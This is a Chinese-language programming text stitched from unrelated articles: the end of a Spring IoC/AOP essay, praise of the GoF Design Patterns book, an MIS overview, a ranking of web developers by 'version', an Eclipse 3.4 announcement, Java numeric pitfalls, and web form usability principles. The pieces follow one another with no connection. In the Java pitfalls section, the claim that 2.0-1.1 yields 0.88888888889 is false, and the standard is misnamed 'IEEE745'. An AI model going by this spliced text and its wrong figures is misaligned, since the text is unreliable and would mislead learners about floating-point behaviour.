(3)Spring的运行时通知对象。代理Bean只有在第一次被应用系统需要的时候才被创建。如果你使用的是ApplicationContext,代理对象在BeanFactory载入所有Bean的时候被创建。Spring有两种代理创建方式。如果目标对象实现了一个或多个接口暴露的方法,Spring将使用JDK的java.lang.reflect.Proxy类创建代理。这个类让Spring动态产生一个新的类,它实现所需的接口,织入了通知,并且代理对目标对象的所有请求。如果目标对象没有实现任何接口,Spring使用CGLIB库生成目标对象的子类。在创建这个子类的时候,Spring将通知织入,并且将对目标对象的调用委托给这个子类。此时,需要将Spring发行包lib/cglib目录下的JAR文件发布到应用系统中。
2.3 Spring AOP的优势
借助于Spring AOP,Spring IoC能够很方便的使用到非常健壮、灵活的企业级服务,是因为Spring AOP能够提供如下几方面的优势:
(1)允许开发者使用声明式企业服务,比如事务服务、安全性服务;EJB开发者都知道,EJB组件能够使用J2EE容器提供的声明式服务,但是这些服务要借助于EJB容器,而Spring AOP却不需要EJB容器,借助于Spring的事务抽象框架就可以这些服务。
(2)开发者可以开发满足业务需求的自定义切面;
(3)开发Spring AOP Advice很方便。因为这些AOP Advice仅是POJO类,借助于Spring提供的ProxyFactoryBean,能够快速的搭建Spring AOP Advice。
3、结语 本文详细阐述了Spring背后的IoC原理和AOP技术,以实际成功项目为背景,抽取简短片断,展示了Spring架构J2EE应用系统的原理。Spring IoC借助于依赖注入机制,减轻了组件之间的依赖关系,同时也大大提高了组件的可移植性,组件得到了更多的重用机会。借助于Spring AOP,使得开发者能声明式、基于元数据访问企业级服务,AOP合理补充了OOP技术,Spring AOP合理地补充了Spring IoC容器。Spring IoC与Spring AOP组合,使得Spring成为成功的J2EE架构框架,并能与标准的EJB等标准对抗,EJB不再是必需品。Spring已经冲入了J2EE的核心,将引领整个J2EE开发、架构的方向。
著名的EJB领域顶尖的专家Richard Monson-Haefel在其个人网站:www.EJBNow.com中极力推荐的GoF的《设计模式》,原文如下:
Design Patterns
Most developers claim to experience an epiphany reading this book. If you've never read the Design Patterns book then you have suffered a very serious gap in your programming education that should be remedied immediately.
翻译: 很多程序员在读完这本书,宣布自己相当于经历了一次"主显节"(纪念那稣降生和受洗的双重节日),如果你从来没有读过这本书,你会在你的程序教育生涯里存在一个严重裂沟,所以你应该立即挽救弥补!
可以这么说:GoF设计模式是程序员真正掌握面向对象核心思想的必修课。虽然你可能已经通过了SUN的很多令人炫目的技术认证,但是如果你没有学习掌握GoF设计模式,只能说明你还是一个技工。
在浏览《Thingking in Java》(第一版)时,你是不是觉得好象这还是一本Java基础语言书籍?但又不纯粹是,因为这本书的作者将面向对象的思想巧妙的融合在Java的具体技术上,潜移默化的让你感觉到了一种新的语言和新的思想方式的诞生。
但是读完这本书,你对书中这些蕴含的思想也许需要一种更明晰更系统更透彻的了解和掌握,那么你就需要研读GoF的《设计模式》了。
《Thingking in Java》(第一版中文)是这样描述设计模式的:他在由Gamma, Helm和Johnson Vlissides简称Gang of Four(四人帮),缩写GoF编著的《Design Patterns》一书中被定义成一个“里程碑”。事实上,那本书现在已成为几乎所有OOP(面向对象程序设计)程序员都必备的参考书。(在国外是如此)。
GoF的《设计模式》是所有面向对象语言(C++ Java C#)的基础,只不过不同的语言将之实现得更方便地使用。
GOF的设计模式是一座"桥"
就Java语言体系来说,GOF的设计模式是Java基础知识和J2EE框架知识之间一座隐性的"桥"。
会Java的人越来越多,但是一直徘徊在语言层次的程序员不在少数,真正掌握Java中接口或抽象类的应用不是很多,大家经常以那些技术只适合大型项目为由,避开或忽略它们,实际中,Java的接口或抽象类是真正体现Java思想的核心所在,这些你都将在GoF的设计模式里领略到它们变幻无穷的魔力。
GoF的设计模式表面上好象也是一种具体的"技术",而且新的设计模式不断在出现,设计模式自有其自己的发展轨道,而这些好象和J2EE .Net等技术也无关!
实际上,GoF的设计模式并不是一种具体"技术",它讲述的是思想,它不仅仅展示了接口或抽象类在实际案例中的灵活应用和智慧,让你能够真正掌握接口或抽象类的应用,从而在原来的Java语言基础上跃进一步,更重要的是,GoF的设计模式反复向你强调一个宗旨:要让你的程序尽可能的可重用。
这其实在向一个极限挑战:软件需求变幻无穷,计划没有变化快,但是我们还是要寻找出不变的东西,并将它和变化的东西分离开来,这需要非常的智慧和经验。
而GoF的设计模式是在这方面开始探索的一块里程碑。
J2EE等属于一种框架软件,什么是框架软件?它不同于我们以前接触的Java API等,那些属于Toolkist(工具箱),它不再被动的被使用,被调用,而是深刻的介入到一个领域中去,J2EE等框架软件设计的目的是将一个领域中不变的东西先定义好,比如整体结构和一些主要职责(如数据库操作 事务跟踪 安全等),剩余的就是变化的东西,针对这个领域中具体应用产生的具体不同的变化需求,而这些变化东西就是J2EE程序员所要做的。
由此可见,设计模式和J2EE在思想和动机上是一脉相承,只不过
1.设计模式更抽象,J2EE是具体的产品代码,我们可以接触到,而设计模式在对每个应用时才会产生具体代码。
2.设计模式是比J2EE等框架软件更小的体系结构,J2EE中许多具体程序都是应用设计模式来完成的,当你深入到J2EE的内部代码研究时,这点尤其明显,因此,如果你不具备设计模式的基础知识(GoF的设计模式),你很难快速的理解J2EE。不能理解J2EE,如何能灵活应用?
3.J2EE只是适合企业计算应用的框架软件,但是GoF的设计模式几乎可以用于任何应用!因此GoF的设计模式应该是J2EE的重要理论基础之一。
所以说,GoF的设计模式是Java基础知识和J2EE框架知识之间一座隐性的"桥"。为什么说隐性的?
GOF的设计模式是一座隐性的"桥"
因为很多人没有注意到这点,学完Java基础语言就直接去学J2EE,有的甚至鸭子赶架,直接使用起Weblogic等具体J2EE软件,一段时间下来,发现不过如此,挺简单好用,但是你真正理解J2EE了吗?你在具体案例中的应用是否也是在延伸J2EE的思想?
如果你不能很好的延伸J2EE的思想,那你岂非是大炮轰蚊子,认识到J2EE不是适合所有场合的人至少是明智的,但我们更需要将J2EE用对地方,那么只有理解J2EE此类框架软件的精髓,那么你才能真正灵活应用Java解决你的问题,甚至构架出你自己企业的框架来。(我们不能总是使用别人设定好的框架,为什么不能有我们自己的框架?)
因此,首先你必须掌握GoF的设计模式。虽然它是隐性,但不是可以越过的。
关于本站“设计模式”
Java提供了丰富的API,同时又有强大的数据库系统作底层支持,那么我们的编程似乎变成了类似积木的简单"拼凑"和调用,甚至有人提倡"蓝领程序员",这些都是对现代编程技术的不了解所至.
在真正可复用的面向对象编程中,GoF的《设计模式》为我们提供了一套可复用的面向对象技术,再配合Refactoring(重构方法),所以很少存在简单重复的工作,加上Java代码的精炼性和面向对象纯洁性(设计模式是java的灵魂),编程工作将变成一个让你时刻体验创造快感的激动人心的过程.
为能和大家能共同探讨"设计模式",我将自己在学习中的心得写下来,只是想帮助更多人更容易理解GoF的《设计模式》。由于原著都是以C++为例, 以Java为例的设计模式基本又都以图形应用为例,而我们更关心Java在中间件等服务器方面的应用,因此,本站所有实例都是非图形应用,并且顺带剖析Jive论坛系统.同时为降低理解难度,尽量避免使用UML图.
如果你有一定的面向对象编程经验,你会发现其中某些设计模式你已经无意识的使用过了;如果你是一个新手,那么从开始就培养自己良好的编程习惯(让你的的程序使用通用的模式,便于他人理解;让你自己减少重复性的编程工作),这无疑是成为一个优秀程序员的必备条件.
整个设计模式贯穿一个原理:面对接口编程,而不是面对实现.目标原则是:降低耦合,增强灵活性.
所谓MIS(管理信息系统--Management Information System)系统,是一个由人、计算机及其他外围设备等组成的能进行信息的收集、传递、存贮、加工、维护和使用的系统。它是一门新兴的科学,其主要任务是最大限度的利用现代计算机及网络通讯技术加强企业的信息管理,通过对企业拥有的人力、物力、财力、设备、技术等资源的调查了解,建立正确的数据,加工处理并编制成各种信息资料及时提供给管理人员,以便进行正确的决策,不断提高企业的管理水平和经济效益。目前,企业的计算机网络已成为企业进行技术改造及提高企业管理水平的重要手段。随着我国与世界信息高速公路的接轨,企业通过计算机网络获得信息必将为企业带来巨大的经济效益和社会效益,企业的办公及管理都将朝着高效、快速、无纸化的方向发展。MIS系统通常用于系统决策,例如,可以利用MIS系统找出目前迫切需要解决的问题,并将信息及时反馈给上层管理人员,使他们了解当前工作发展的进展或不足。换句话说,MIS系统的最终目的是使管理人员及时了解公司现状,把握将来的发展路径。
一个完整的MIS应包括:辅助决策系统(DSS)、工业控制系统(IPC)、办公自动化系统(OA)以及数据库、模型库、方法库、知识库和与上级机关及外界交换信息的接口。其中,特别是办公自动化系统(OA)、与上级机关及外界交换信息等都离不开Intranet的应用。可以这样说,现代企业MIS不能没有 Intranet,但Intranet的建立又必须依赖于MIS的体系结构和软硬件环境。
传统的MIS系统的核心是CS (Client/Server——客户端/服务器)架构,而基于Internet的MIS系统的核心是BS(Browser/Server——浏览器/服务器)架构。BS架构比起CS架构有着很大的优越性,传统的MIS系统依赖于专门的操作环境,这意味着操作者的活动空间受到极大限制;而BS架构则不需要专门的操作环境,在任何地方,只要能上网,就能够操作MIS系统,这其中的优劣差别是不言而喻的。
基于Internet上的 MIS系统是对传统MIS系统概念上的扩展,它不仅可以用于高层决策,而且可以用于进行普通的商务管理。通过用户的具名登录(或匿名登录),以及相应的权限控制,可以实现在远端对系统的浏览、查询、控制和审阅。随着Internet的扩展,现有的公司和学校不再局限于物理的有形的真实的地域,网络本身成为事实上发展的空间。基于Internet上的MIS系统,弥补了传统MIS系统的不足,充分体现了现代网络时代的特点。随着Internet技术的高速发展,因特网必将成为人类新社会的技术基石。基于Internet的MIS系统必将成为网络时代的新一代管理信息系统,前景极为乐观
国外开发者博客中有一篇有趣的文章,将程序员按水平像软件版本号那样划分为不同的版本。相对于在招聘时分为初级,中级,高级程序员,直接表明需要某种语言N版本的程序员或许更方便直接。根据作者的观点,可将WEB开发者大致分为以下几个版本:
Alpha:阅读过一些专业书籍,大多数能用Dreamweaver或者FrontPage帮朋友制作一些Web页面。但在他们熟练掌握HTML代码以前,你大概不会雇佣他们成为职业的WEB制作人员。
Beta:已经比较擅长整合站点页面了,在HTML技巧方面也有一定造诣,但还是用Tables来制作页面,不了解CSS,在面对动态页面或数据库连接时还是底气不足。
Pre Version 1 (0.1):比Beta版的开发者水平要高。熟悉HTML,开始了解CSS是如何运作的,懂一点JavaScript,但还是基于业余水准,逐步开始关心动态站点搭建和数据库连接的知识。这个版本的WEB开发人员还远不能成为雇主眼中的香饽饽。
1.0: 能够基本把控整个站点开发,针对每个问题尽可能的找到最直接的解决办法。但对可测性,可扩展性以及在不同(层)框架下如何选择最合适的WEB设计工具尚无概念。这个版本的WEB开发者有良好的技术基础,需要有进一步的帮助和指导。
2.0:懂面向对象的编程语言,理解分层开发的必要性,关注代码分离,对问题寻找更完美的解决方法,偶然也会考虑设计模式的问题,但对此仍然概念不清。属于优秀的初级开发者,能完成较松散的代码开发(相对大型严谨的站点开发而言),在面对较复杂问题寻找解决办法时需要周边人的帮助。
3.0:开始较为深入的理解面向对象编程和设计模式,了解他们的用途,当看到好的设计模式时能看透其本质,逐步关注分层的架构解决办法和可测试性。理解不同的开发语言并能说出他们的异同(例如各自的优势)。属于优秀的中级别开发者,雇主也确信他们最终能找到问题的解决办法,这个版本的人可以给1.0和2.0的开发者以指导。但他们对架构的理解仍然不够清晰,值得一提的是,只要给予一些指导,他们能很快理解并熟记做出的决定,以及选定方案的优势所在。
4.0:
理解模式,重视用户的反馈。着手研究方法论,架构设计和软件开发的最佳入口。头脑中已经形成了超越开发语言,技术架构的整体方案,可根据需求解构程序。能从理论的角度,不同模式如何融合成最佳形态,将多种X-驱动的模式应用到不同的方案中。是精通多语言的高手,理解不同系统和方法论的细微差别,属于高级程序员。这个级别的人能够轻易的辅导2.0和3.0的程序员,将他们推向更高的级别。
5.0:从系统的角度考虑问题。对各种系统结构有深入研究,能对整个代码架构中的问题进行改进。在团队粘合性以及代码安全性方面有杰出贡献。对1.0到4.0版本的开发人员出现的问题能及时察觉,让整个团队保持积极性且保持兴奋的状态创建软件解决办法。举例来说,他们总是对新的技术和信息保持饥渴状态,试图用最简便的方案解决开发任务。在整个IT团队中获得信任,属于高级程序员和架构师。
那么,您属于哪个版本的程序员呢?
感谢Wendal,匿名人士的投递
Eclipse官方网站已经正式宣布 Eclipse 3.4发布,代号为ganymede (Ganymede (英语发音"GAN uh meed")为最大的木星已知卫星,也是第七颗发现的木星卫星,在伽利略发现的卫星中离木星第三近,在希腊神话中 Ganymede是一个特洛伊美人的男孩(一个美少男),被宙斯带去给众神斟酒)。
关注Eclipse项目的开发者朋友们可以下载3.4版本尝试一下,在JavaEye上还专门介绍一个很酷的Eclipse3.4带的实时结对编程插件
目前3.4版本是Eclipse项目发布的10周年庆典版;至今Eclipse项目共有23个子项目。此次发布的Ganymede 版本引入不少亮点,其中包括新的p2平台(provisioning platform),点击查看p2的介绍、新增的Equinox(OSGi实现)安全方面的特性、全新的Ecore建模工具、支持SOA等。
Java作为一门优秀的面向对象的程序设计语言,正在被越来越多的人使用。本文试图列出作者在实际开发中碰到的一些Java语言的容易被人忽视的细节,希望能给正在学习Java语言的人有所帮助。
1,拓宽数值类型会造成精度丢失吗?
Java语言的8种基本数据类型中7种都可以看作是数值类型,我们知道对于数值类型的转换有一个规律:从窄范围转化成宽范围能够自动类型转换,反之则必须强制转换。请看下图:
byte-->short-->int-->long-->float-->double
char-->int
我们把顺箭头方向的转化叫做拓宽类型,逆箭头方向的转化叫做窄化类型。一般我们认为因为顺箭头方向的转化不会有数据和精度的丢失,所以Java语言允许自动转化,而逆箭头方向的转化可能会造成数据和精度的丢失,所以Java语言要求程序员在程序中明确这种转化,也就是强制转换。那么拓宽类型就一定不会造成数据和精度丢失吗?请看下面代码:
int i=2000000000;
int num=0;
for(float f=i;f<i+50;f++){
num++;
}
System.out.println(num);
请考察以上代码输出多少?
如果你回答50 ,那么请运行一下,结果会让你大吃一惊!没错,输出结果是0,难道这个循环根本就没有执行哪怕一次?确实如此,如果你还不死心,我带你看一个更诧异的现象,运行以下代码,看输出什么?
int i=2000000000;
float f1=i;
float f2=i+50;
System.out.println(f1==f2);
哈哈,你快要不相信你的眼睛了,结果竟然是true;难道f1和f2是相等的吗?是的,就是这样,这也就能解释为什么上一段代码输出的结果是0,而不是50了。那为什么会这样呢?关键原因在于你将int值自动提升为float时发生了数据精度的丢失,i的初始值是2000000000,这个值非常接近Integer.MAX_VALUE,因此需要用31位来精确表示,而float只能提供24位数据的精度(另外8位是存储位权,见IEEE745浮点数存储规则)。所以在这种自动转化的过程中,系统会将31位数据的前24位保留下来,而舍弃掉最右边的7位,所以不管是2000000000还是2000000050,舍弃掉最右边7位后得到的值是一样的。这就是为什么f1==f2的原因了。
类似的这种数值拓宽类型的过程中会造成精度丢失的还有两种情况,那就是long转化成float和long转化成double,所以在使用的时候一定要小心。
2,i=i+1和i+=1完全等价吗?
可能有很多程序员认为i+=1只是i=i+1的简写方式,其实不然,它们一个使用简单赋值运算,一个使用复合赋值运算,而简单赋值运算和复合赋值运算的最大差别就在于:复合赋值运算符会自动地将运算结果转型为其左操作数的类型。看看以下的两种写法,你就知道它们的差别在哪儿了:
(1) byte i=5;
i+=1;
(2) byte i=5;
i=i+1;
第一种写法编译没问题,而第二种写法却编译通不过。原因就在于,当使用复合赋值运算符进行操作时,即使右边算出的结果是int类型,系统也会将其值转化为左边的byte类型,而使用简单赋值运算时没有这样的优待,系统会认为将i+1的值赋给i是将int类型赋给byte,所以要求强制转换。理解了这一点后,我们再来看一个例子:
byte b=120;
b+=20;
System.out.println("b="+b);
说到这里你应该明白了,上例中输出b的值不是140,而是-116。因为120+20的值已经超出了一个byte表示的范围,而当我们使用复合赋值运算时系统会自动作类型的转化,将140强转成byte,所以得到是-116。由此可见,在使用复合赋值运算符时还得小心,因为这种类型转换是在不知不觉中进行的,所以得到的结果就有可能和你的预想不一样。
3,位移运算越界怎么处理
考察下面的代码输出结果是多少?
int a=5;
System.out.println(a<<33);
按照常理推测,把a左移33位应该将a的所有有效位都移出去了,那剩下的都是零啊,所以输出结果应该是0才对啊,可是执行后发现输出结果是10,为什么呢?因为Java语言对位移运算作了优化处理,Java语言对a<<b转化为a<<(b%32)来处理,所以当要移位的位数b超过32时,实际上移位的位数是b%32的值,那么上面的代码中a<<33相当于a<<1,所以输出结果是10。
4,判断奇数
以下的方法判断某个整数是否是奇数,考察是否正确:
public boolean isOdd(int n){
return (n%2==1);
}
很多人认为上面的代码没问题,但实际上这段代码隐藏着一个非常大的BUG,当n的值是正整数时,以上的代码能够得到正确结果,但当n的值是负整数时,以上方法不能做出正确判断。例如,当n=-3时,以上方法返回false。因为根据Java语言规范的定义,Java语言里的求余运算符(%)得到的结果与运算符左边的值符号相同,所以,-3%2的结果是-1,而不是1。那么上面的方法正确的写法应该是:
public boolean isOdd(int n){
return (n%2!=0);
}
5,可以让i!=i吗?
在本题中,要求你声明一个i值,使得以下程序输出"No i!=i":
//在此声明i,并赋值。
if(i==i){
System.out.println("Yes i==i");
}else{
System.out.println("No i!=i");
}
当你看到这个命题的时候一定会以为我疯了,或者Java语言疯了。这看起来是绝对不可能的,一个数怎么可能不等于它自己呢?或许就真的是Java语言疯了,不信请将i做出以下声明,再运行上面的代码。
double i=0.0/0.0;
上面的代码输出"No i!=i",为什么会这样呢?关键在0.0/0.0这个值,在IEEE 754浮点算术规则里保留了一个特殊的值用来表示一个不是数字的数量。这个值就是NaN("Not a Number"的缩写),对于所有没有良好定义的浮点计算都将得到这个值,比如:0.0/0.0;其实我们还可以直接使用Double.NaN来得到这个值。在IEEE 754规范里面规定NaN不等于任何值,包括它自己。所以就有了i!=i的代码。
6,2.0-1.1==0.9吗?
考察下面的代码:
double a=2.0,b=1.1,c=0.9;
if(a-b==c){
System.out.println("YES!");
}else{
System.out.println("NO!");
}
以上代码输出的结果是多少呢?你认为是“YES!”吗?那么,很遗憾的告诉你,不对,Java语言再一次欺骗了你,以上代码会输出“NO!”。为什么会这样呢?其实这是由实型数据的存储方式决定的。我们知道实型数据在内存空间中是近似存储的,所以2.0-1.1的结果不是0.9,而是0.88888888889。所以在做实型数据是否相等的判断时要非常的谨慎。一般来说,我们不建议在代码中直接判断两个实型数据是否相等,如果一定要比较是否相等的话我们也采用以下方式来判断:
if(Math.abs(a-b)<1e-5){
//相等
}else{
//不相等
}
上面的代码判断a与b之差的绝对值是否小于一个足够小的数字,如果是,则认为a与b相等,否则,不相等。
随着企业intranet和国际internet的迅速发展,越来越多的工作流程,商务交易,教育、培训、会议和讲座,以及个人消费娱乐都被转移到所谓的万维网(world wide web,以下简称web)上来了。与此相对应的是交互操作的复杂性越来越高。
随着browser rver模式的日渐流行,很多操作都是在浏览器环境下的网页上完成的,并不是只有失效的链接和意外的出错才会使操作者感到烦恼,即便是一次完整的成功操作过程,也可能因为操作的繁复性过高或者使用上的不方便而给操作者带来不愉快的体验。
本文试图阐述web交互页面设计的一些指导性原则,这些原则有利于避免发生不愉快的操作体验。这些原则是用户友好性的,是在完成同一种操作要求下,使用户最感到轻松、简单、舒适的web交互界面设计原则。我们假定我们讨论的web页面都是功能正常的,符合美学观点的。需要说明我们讨论的原则可能会和设计上的美学观点以及既有的功能设计有所冲突。如果发生这种情况,基于“实用的就是美的”观点,我们会建议您酌情放弃原先的美学观点与功能设计。
一、输入控件的自动聚焦和可用键盘切换输入焦点
使用javascript实现页面加载完成后立即自动聚焦(focus)到第一个输入控件。可用tab键(ie缺省实现)或方向键切换聚焦到下一个输入控件。
输入控件指web页面表单(<form> )中显式的,需要用户进行修改、编辑操作的表单元素。对于这些控件,如果没有自动聚焦操作,不可避免的出现一次用户鼠标定位操作(如果用户此前处于键盘输入操作状态或鼠标定位后需要进行键盘输入操作,实际上是键盘鼠标切换操作)。如果鼠标定位后需要进行键盘输入操作,如果不能键盘切换输入焦点,那么不可避免的在切换输入焦点时需要反复的键盘鼠标切换操作,这是很繁琐的。
如果实现了页面加载完成即自动聚焦到第一个输入控件,并且可以键盘切换输入焦点标定位操作,那么对于用户来说整个页面的输入操作可能都不需要鼠标操作,或次数较少,这是一种便利。毕竟频繁的键盘鼠标切换操作是比较累人的。
对于有输入栏的对话框或网页,在不干预的情况下就应将当前控制焦点定位在待输入的输入栏上;如果输入栏在一般情况下不需要更改其中的内容,则应直接将焦点定在“确定”按钮上;在几个输入栏之间应支持tab,shift+tab切换操作,“确定”和“取消”应该是切换操作的终点,与具体所在位置无关。
二、可用enter(或ctrl+enter)键提交,确保和点击提交按钮的效果是相同的
不要在提交按钮上加入onclick=”…”这样的javascript代码。
用enter键提交页面是原则1的自然延伸,而且这也是浏览器所缺省支持的。只所以单独列出来是因为实际上有些设计者设计的页面不能达到这种效果,结果导致使用enter键提交和点击“确定”按钮提交带来的效果不一样。大部分情况下是设计者在“确定”按钮上加入了onclik=”…”这样的代码,通过点击“确定”按钮后,会执行一段javascript代码,比如对某些hidden类型的input元素设值。而使用enter键提交时就不会执行这段代码。
正确的做法是把这段代码移到表单标签<form>中,以onsubmit=”…”属性引入。
对于<textarea>表单元素,它会消耗enter键,因此会使得enter键提交失效。可以引入javascript代码捕捉ctrl+enter复合键,一旦捕捉到即执行表单的submit()方法。对于需要频繁提交的场合,比如bbs上,这种代码是很有必要的。
三、鼠标动作提示和回应
对用户的鼠标定位操作,当移动到可响应的位置上时,应给予视觉或听觉的提示。
动作回应的最简单形式就是鼠标icon变成手状。浏览器只对具有href属性的html标签会自动进行这种变换icon的行为。对于没有href属性(或没有设置href属性)的标签,可以通过javascript设置style属性的cursor为hand。
目标区域发生变化是更为主动的响应形式。当鼠标指针移到目标区域,此时指针图形改变或文字颜色发生改变均能较大的减轻用户搜索定位目标区域的注意力负担。在按钮上增添直观的图形,尽可能的增大按钮面积;按钮间保持适当的距离,太近增加了用户区别它们之间界限以防误操作的负担,太远增加了用户搜索定位按钮的负担。
四、尽可能早的在客户端完成输入数据合法性验证
输入数据的合法性检验应该在客户端使用javascript进行验证。除非验证只能在服务器端完成,否则验证工作应在最早能完成的情况下进行。
在客户端完成数据合法性验证,可以避免一次服务器请求和回复通讯,这种通讯是需要用户等待的,如果用户等待很长时间后从服务器返回的结果提示出现的错误是在输入时即可发现的,那么这种设计就是不友好的。诸如密码长度限制,用户名允许字符限制等等,显然应该在客户端提交前就应该进行验证。
五、根据应用场景决定在表单页面和提交后返回页面间是否使用中间过渡页面
根据应用场景,决定是否显示接收表单页面(表单页面和提交后返回页面间的中间过渡页面),以及使用何种方式显示接收表单页面。
表单页面和接收表单页面是大部分web交互操作赖以实现的配合模式。关于表单页面和接收表单页面的相互关系的设计,要做如下几个方面的考虑。
1.对于需要频繁操作的场合,从操作便利和快捷性出发,尽可能的减少服务器和客户端交互次数,应该避免使用中间过渡页面。提交完毕直接返回原来的表单页面或默认页面。在这种情况下要考虑到数据安全和可恢复性。
如果因为用户输入的数据不合格,需要重新输入,那么,去除中间页面,把错误信息直接显示在原表单页面上的设计方式,将是最简洁的处理方式。用户只需要根据错误提示进行更正即可。当然这样做稍微增加了编程负担。在表单接收页面上需要包含原表单页面的内容,而且输入数据项都必须用服务器端代码或客户端javascript设置成用户输入的值。为了开发快捷,可以这样做:表单页面和接收表单页面用同一个服务器端脚本页面实现。这个页面按如下流程完成原来两个页面的工作:
页面脚本初始化
┃
检查“提交”变量是否设置
┠已设置,做数据验证
┃ ┠验证通过->业务逻辑处理->使用包含页面方式或重定向方式返回到特定页面
┃ ┗验证不通过->保存用户输入的数据->退出表单提交处理到表单页面流程中
┗未设置,做表单页面流程,如有来自提交流程中产生的用户输入数据,则显示出来
其中,使用包含页面方式返回到特定页面可以避免一次客户端重定向过程,比客户端重定向过程还要快捷和稳定一些。但是有些情况下因为代码变量冲突或其他原因,使用包含页面方式可能并不方便,这时候可以使用服务器端重定向技术,在asp里是server.transfer方法,在java servlet里是requestdispatcher.forward()方法。不要使用response.redirect或者httpservletresponse.sendredirect()这种客户端http重定向方法。不使用中间过渡页面也就意味着用户不能后退浏览原先已经填好的表单页面,因为使用的是同一个url。所以在验证不通过情况下保存用户输入的数据就是必不可少的。
不使用中间过渡页面带来的另一个问题就是使用包含页面方式或服务器端重定向方式返回会使得url和页面内容不能一一对应。对于用户可能会直接用这个url(会收藏这个url)访问返回页面的情况,他会发现实际上到达的是表单页面,不是他想要的那个返回结果页面。所以,去除中间过渡页面,确实会带来url和内容含混不清的情况,因而不适合需要url和页面内容一一对应的场合。
2.从技术角度考虑,使用中间过渡页面能保证url和页面内容一一对应,简化页面开发工作。
为了保证页面内容总是和固定的url联系起来,必须使用客户端重定向:
提交 业务逻辑处理 (中间过渡页面)
表单页面――――->接收表单页面―――――――――>显示处理结果―――>客户端重定向到特定页面
客户端重定向分几种情况:
1.使用http header重定向,location: http://www.netall.com.cn,这种定向是最快的,在窗口一片空白的情况下就迅速访问(get)另一个页面。这种方式实际上不能显示处理结果,只能说是向第一种快速重定向方式的一种折衷处理;
2.html标签刷新,<meta http-equiv=”refresh” content=”5;url=http://www.netall.com.cn”>,这种定向比较友好,在这个页面加载完毕后访问另一个页面。很多设计者把这个作为一个技巧使用,在载入一个大页面前放置一个缓冲页面以避免用户乏味的等待;
3.javascript重定向。由于是用代码控制重定向,可以做的更灵活。比如根据用户习惯,控制操作完毕后的转向流程。
4.被动式的重定向。在页面上放置按钮或链接,由用户手动决定返回到特定页面。这种情况适合于处理结果的显示页面包含相当多的信息,需要用户仔细浏览,而决定下一步的操作。
在使用中间过渡页面的情况下,不能再使用页面过期失效了。否则一旦出现错误,需要用户重新输入表单数据,用户就不能用后退按钮恢复此前填写的表单数据了。除非设计者有意禁止这种恢复。
六、防止表单重复提交处理
对提交按钮点击后做变灰处理避免在网络响应较慢情况下用户重复提交同一个表单。使用页面过期失效避免用户后退浏览重复提交表单。
有些复杂的应用会导致需要较长时间的等待才会返回处理结果。而在较慢的网络环境中,这种情况更是频繁发生。焦急等待的用户往往会重复点击提交按钮。这种情况是设计者所不希望看到的。
使用javascript在点击提交按钮后使按钮失效变灰是一个最直接的办法(根据原则2这段代码应该放在<form>标签里onsubmit=”…”做)。此外,在表单页面上,用服务器端脚本设置http header的expires为立即过期可以保证用户没办法使用后退浏览恢复表单页面。注意这样做的代价可能是用户辛辛苦苦填写很长的内容,结果一旦操作失误就没法恢复。所以应该避免在包含<textarea>表单元素的页面上使用页面过期失效。
应该说,更严格的方法是,服务器端脚本就应该具备抵抗重复提交的能力。例如,为这个表单分配一个唯一id或一个使用一次即失效的验证码。此外,这个表单处理还应具有事务性质,如果表单不被接受,所做的改变还是能恢复的。在金融应用场合,重复提交同一笔交易是肯定不被允许的。能在重复提交中获利的一方总是会想办法绕过浏览器的限制,所以不能依赖于客户端的技术。
七、页面链接是打开新窗口、使用原窗口还是弹出窗口的原则
一般而言,首页上链接可以使用target=”_blank”属性打开新窗口,而其他页面上的链接都应使用原窗口或弹出窗口。如果链接页面内容相对原页面来说不重要,是附属性质的,可以使用弹出窗口方式。
一般情况下应该使用原窗口,把是否保留原窗口内容的权利留给用户。除非设计者相信原页面是如此重要,在用户发出点击指令后还有使用上的价值,以至于不能被随便更新或覆盖。一般来说,只有首页才会处于这样一个地位,用户在首页上打开一个链接后,一般还会在这个首页上去打开另一个链接。比如首页包含极多链接的门户网站,或者搜索引擎的搜索结果页面。google.com以前的搜索结果页面上的链接是使用原窗口的,后来他们意识到用户会反复使用这个页面,而改成打开新窗口了。一般的网站如果首页链接不多,就不必使用新窗口,这是用户友好的设计原则。
上述情形的一个极端情况就是新页面内容比起原页面内容的重要性差很多,以至于都未必需要打开一个新页面。这时候使用弹出窗口比较合适。用javascript弹出窗口有好几种:一个是window.open()函数。这里有个技巧。应该使用window.open()先打开一个空白窗口,再使用location.replace()用目标页面替换。这样做可以避免在打开新页面的过程中导致原页面失去响应。window.open()将打开一个新的浏览器窗口进程,因此资源消耗比较大。另一个是由微软dynamichtml规范中扩充的方法createpopup()。createpopup()可以创建无边框的弹出窗口,消耗系统资源较小。还有一个就是用页面中隐藏的层<div>来模拟一个弹出页面。后两种可以使用javascript代码填充弹出窗口内容。如果需要下载网页作为其内容的话,需要微软dynamichtml规范中的<download>标签。
八、尽可能少的排列可选项,尽可能少的安排操作步骤
根据用户操作习惯安排尽可能少的操作菜单选项,同时要保证尽可能少的操作步骤。 在不降低功能多样性的前提下减少菜单项和操作步骤是用户友好的设计。要做到这一点很不容易。要从用户出发考虑他们最频繁的操作是什么。正常情况下一个用户需要的操作总可以归类为5个以下的种类,如果出现更多的种类,那一定是没有针对用户兴趣去区分主次。一个用户同时有5个以上的强烈兴趣中心是难以想像的,走马观花似的随意点击浏览的用户,是不大可能在某个种类上进行深入的交互操作的。在这5个种类中,每个种类都可能有若干个可操作的二级种类。如果这些二级操作项是不可见的,那么意味着要做两次选择才能进入可操作页面。这就违背了“尽可能少的安排操作步骤”这一原则。如果使用javascript制作二级菜单,避免请求服务器,会好一些。如果二级菜单项总共不超过20个左右,不妨将二级菜单直接显示出来,比如放在左列一字向下排开,这样只需要一次选择到可操作项,更加明了方便。
九、操作逻辑无漏洞,保证数据是操作安全的
多个页面间的操作和同个页面上的多个操作间的逻辑关系在设计上是安全和严谨的。保证不会出现不被允许的用户操作组合,至少不会因为用户的不适当的操作导致出错。
这最典型的表现则是在页面上广泛采用的所谓联动下拉框设计。一个下拉框中允许的选项受另一个下拉框中的选择而变。另外一个例子是根据选择使表单元素有效或者失效。如果在多个页面间也要维持某种合法性逻辑,那么就需要服务器端脚本的参与。这样会使表单设计跟操作有关,应该说这不是一个好的设计。可以通过变更操作步骤顺序、组合方式来尽可能避免这种情况出现。
